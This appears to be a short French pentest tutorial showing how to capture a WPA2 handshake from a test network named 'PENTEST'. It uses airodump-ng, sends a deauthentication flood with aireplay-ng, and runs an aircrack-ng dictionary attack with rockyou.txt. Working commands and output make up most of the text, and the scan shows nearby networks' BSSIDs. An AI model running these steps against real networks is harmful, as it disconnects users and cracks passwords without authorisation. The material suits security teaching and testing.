

Airmon-ng check kill Pour kill tous les processus

Airmon-ng start wlan0

Arodump-ng wlan0mon

Nous allons attaquer le wifi pentest

```
root@kali: ~  
CH 10 ][ Elapsed: 6 s ][ 2019-12-04 18:17  
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID  
74:D2:1D:49:93:49 -37 8 2 0 1 65 WPA2 CCMP PSK PENTEST  
00:19:70:AE:F1:9D -49 8 0 0 1 130 WPA2 CCMP PSK Bbox-CABAB  
E8:8E:81:96:AA:90 -78 5 1 0 1 130 WPA2 CCMP PSK Bbox-40259  
F4:06:8D:0F:58:22 -81 2 0 0 6 65 WPA2 CCMP PSK devoLo-f40  
BSSID STATION PWR Rate Lost Frames Probe  
74:D2:1D:49:93:49 EC:08:6B:19:81:82 -38 0e- 0e 0 2  
00:19:70:AE:F1:9D 2C:6F:C9:4A:28:AA -75 0 - 0 0 5  
root@kali:~#
```

Avec la commande suivante on renseigne -c le chanel -b le bssid du point d'accès wifi

```
root@kali:~# airodump-ng -c 1 -w PENTEST -b 74:D2:1D:49:93:49 wlan0mon
```

Il sera en écoute et avec la commande suivante nous allons donc déconnecter l'utilisateur avec l'adresse mac EC :08 :6B :19 :81 :82 pour l'obliger à se reconnecter et donc récupérer le handshake.

```
root@kali:~# aireplay-ng --deauth 50 -a 74:D2:1D:49:93:49 -c EC:08:6B:19:81:82 wlan0mon
```

Au bout d'un certain temps lors de la reconnexion nous récupérons le handshake.

```
CH 1 ][ Elapsed: 1 min ][ 2019-12-04 18:19 ][ WPA handshake: 74:D2:1D:49:93:49
```

On lance ensuite le crack avec la commande suivante. On utilise le fichier rockyou.txt ce sera notre Word List elle est présente par default dans kali linux.

```
root@kali:~# aircrack-ng -w Desktop/rockyou.txt -b 74:D2:1D:49:93:49 PENTEST-01.cap
```

Al fin on trouve le mot de pas ou pas qui était dans la Word List vu que c'est une attaque par dictionnaire.